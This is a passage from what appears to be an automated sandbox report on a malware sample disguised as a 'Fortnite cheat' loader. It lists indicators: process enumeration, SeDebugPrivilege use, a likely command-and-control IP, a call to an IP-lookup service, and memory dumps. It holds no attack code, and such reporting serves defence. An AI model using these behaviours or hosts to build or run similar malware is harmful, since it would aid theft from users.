ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9 | C:\Users\Admin\AppData\Local\Temp\Fortnite cheat\Loader.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Fortnite cheat\Loader.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Fortnite cheat\Loader.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\Fortnite cheat\Loader.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\Fortnite cheat\Loader.exe
"C:\Users\Admin\AppData\Local\Temp\Fortnite cheat\Loader.exe"
Network
| Country | Destination | Domain | Proto |
| NL | 94.142.138.4:80 | tcp | |
| US | 8.8.8.8:53 | api.ip.sb | udp |
| US | 104.26.12.31:443 | api.ip.sb | tcp |
Files
memory/2904-55-0x0000000000240000-0x0000000000270000-memory.dmp
memory/2904-54-0x0000000000400000-0x000000000043C000-memory.dmp
memory/2904-59-0x0000000074390000-0x0000000074A7E000-memory.dmp
memory/2904-60-0x0000000002090000-0x0000000002096000-memory.dmp
memory/2904-61-0x0000000004670000-0x00000000046B0000-memory.dmp
memory/2904-62-0x0000000074390000-0x0000000074A7E000-memory.dmp
memory/2904-63-0x0000000004670000-0x00000000046B0000-memory.dmp
memory/2904-65-0x0000000074390000-0x0000000074A7E000-memory.dmp